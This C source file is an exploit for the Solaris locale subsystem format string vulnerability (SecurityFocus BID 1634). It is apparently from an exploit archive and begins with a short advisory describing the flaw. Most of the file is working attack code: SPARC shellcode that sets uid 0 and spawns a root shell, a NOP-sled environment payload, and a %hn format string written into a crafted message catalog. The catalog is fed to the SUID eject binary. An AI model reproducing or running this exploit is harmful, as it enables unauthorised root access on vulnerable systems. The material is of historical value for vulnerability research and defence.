/*
source: https://www.securityfocus.com/bid/1634/info
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.
*/
/* "eject" exploit for locale subsystem format strings bug In Solaris
* Tested in Solaris 2.6/7.0
* Script kiddies: you should modify this code
* slightly by yourself. :)
*
* Thanks for Ivan Arce <iarce@core-sdi.com>.
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by warning3@nsfocus.com (http://www.nsfocus.com)
* y2k/9/8
*/
#include <stdio.h>
#include <sys/systeminfo.h>
#define RETLOC 0xffbefa2c /* default retloc */
#define NUM 95 /* maybe should adjust this number */
#define ALIGN 0 /* If don't work ,try adjust align to 0,1,2,3 */
#define BUFSIZE 2048 /* the size of format string buffer*/
#define EGGSIZE 1024 /* the egg buffer size */
#define NOP 0xfa1d4015 /* "xor %l5, %l5, %l5" */
#define ALIGN1 2
#define VULPROG "/usr/bin/eject"
char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */
"\xaa\x1d\x40\x15\x90\x05\x60\x01\x92\x10\x20\x09" /* dup2(1,2) */
"\x94\x05\x60\x02\x82\x10\x20\x3e\x91\xd0\x20\x08"
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
/* get current stack point address to guess Return address */
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char retlocbuf[256], *pattern,eggbuf[EGGSIZE],*env[3];
char plat[256], *ptr;
long sh_addr, sp_addr, retloc = RETLOC, i, num = NUM;
long align=ALIGN, align1=ALIGN1;
long *addrptr;
long reth, retl;
FILE *fp;
if( argc > 1 ) sscanf(argv[1],"%x",&retloc);
if( argc > 2 ) align = atoi(argv[2]);
if( argc > 3 ) num = atoi(argv[3]);
addrptr = (long *) retlocbuf;
retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);
/* Let's make reloc buffer */
for( i = 0 ; i < 2 ; i ++ ){
*addrptr++ = 0x41414141;
*addrptr++ = retloc;
retloc += 2;
}
/* construct shellcode buffer */
memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */
for (i = align; i < EGGSIZE; i+=4) /* fill with NOP */
{
eggbuf[i+3]=NOP & 0xff;
eggbuf[i+2]=(NOP >> 8 ) &0xff;
eggbuf[i+1]=(NOP >> 16 ) &0xff;
eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */
}
/* Notice : we assume the length of shellcode can be divided exatcly by 4 .
If not, exploit will fail. Anyway, our shellcode is. ;-)
*/
memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode));
//memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */
env[0] = "NLSPATH=:.";
env[1] = eggbuf; /* put eggbuf in env */
env[2] = NULL; /* end of env */
/* get platform info */
sysinfo(SI_PLATFORM,plat,256);
/* get stack bottom address */
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* get shellcode address . many thanks to Olaf Kirch. :)
* the trailing '8' make sure our sh_addr into "NOP"s area.
*/
sh_addr = sp_addr - strlen(VULPROG) - strlen(plat) - strlen(eggbuf) - 3 + 8 ;
printf("Usages: %s <retloc> <align> <num> <bufsize> \n\n", argv[0] );
printf("Using RETloc address = 0x%x, RET address = 0x%x ,Align= %d\n", retloc, sh_addr, align );
if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
ptr = pattern;
for(i = 0 ; i < num ; i++ ){
memcpy(ptr, "%.8x", 4);
ptr += 4;
}
reth = (sh_addr >> 16) & 0xffff ;
retl = (sh_addr >> 0) & 0xffff ;
sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(reth - num*8),
(0x10000 + retl - reth));
printf("%s",pattern);
if( !(fp = fopen("messages.po", "w+")))
{
perror("fopen");
exit(1);
}
fprintf(fp,"domain \"messages\"\n");
fprintf(fp,"msgid \"usage: %%s [-fndq] [name | nickname]\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", pattern);
fclose(fp);
system("/usr/bin/msgfmt messages.po");
system("cp messages.mo SUNW_OST_OSCMD");
system("cp messages.mo SUNW_OST_OSLIB");
execle(VULPROG,VULPROG,"-x",retlocbuf + align1, NULL, env);
} /* end of main */
